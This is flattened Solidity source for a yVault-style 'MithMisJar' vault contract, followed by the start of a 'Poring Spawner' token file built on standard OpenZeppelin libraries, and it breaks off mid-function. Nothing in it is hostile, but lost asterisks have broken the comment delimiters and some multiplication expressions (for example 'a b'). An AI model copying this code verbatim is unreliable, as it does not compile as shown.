allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// src/mith-mis-jar.sol // https://github.com/iearn-finance/vaults/blob/master/contracts/vaults/yVault.sol / pragma solidity ^0.6.7; / / import "./interfaces/strategy.sol"; / / import "./lib/erc20.sol"; / / import "./lib/safe-math.sol"; */ contract MithMisJar is ERC20 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint256 public min = 9500; uint256 public constant max = 10000; address public strategy; constructor(IStrategy _strategy) public ERC20( string(abi.encodePacked(ERC20(_strategy.want()).name(), "vault")), string(abi.encodePacked("v", ERC20(_strategy.want()).symbol())) ) { _setupDecimals(ERC20(_strategy.want()).decimals()); token = IERC20(_strategy.want()); strategy = address(_strategy); } function balance() public view returns (uint256) { return token.balanceOf(address(this)).add( IStrategy(strategy).balanceOf() ); } // Custom logic in here for how much the jars allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint256) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { require(IStrategy(strategy).isWhitelisted(msg.sender), "Not whitelisted"); uint256 _bal = available(); token.safeTransfer(strategy, _bal); IStrategy(strategy).deposit(); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint256 shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint256 _shares) public { uint256 r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint256 b = token.balanceOf(address(this)); if (b < r) { uint256 _withdraw = r.sub(b); IStrategy(strategy).withdraw(_withdraw); uint256 _after = token.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getRatio() public view returns (uint256) { return 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/* PORING SPAWNER domain: poring.finance website: https://poring.finance telegram: t.me/poringfinance medium: https://medium.com/@poring.finance/welcome-to-poring-finance-a4118bf057d1 __________________ __________.___ _______ ________ \______ \_____ \\______ \ \|\ \ / _____/ \| ___// \| \\| _/ \|/ \| \/ \ ___ \| \| / \| \ \| \ / \| \ \_\ \ \|____\| \_______ /____\|_ /___\____\|__ /\______ / \/ \/ \/ \/ forked from SUSHI and YUNO and Kimchi / pragma solidity ^0.6.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. / library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /* * @dev Returns true if the value is in the set. O(1). / function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /* * @dev Returns the number of values on the set. O(1). / function _length(Set storage set) private view returns (uint256) { return set._values.length; } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /* * @dev Returns true if the value is in the set. O(1). / function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /* * @dev Returns the number of values in the set. O(1). / function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /* * @dev Returns true if the value is in the set. O(1). / function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /* * @dev Returns the number of values on the set. O(1). / function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual 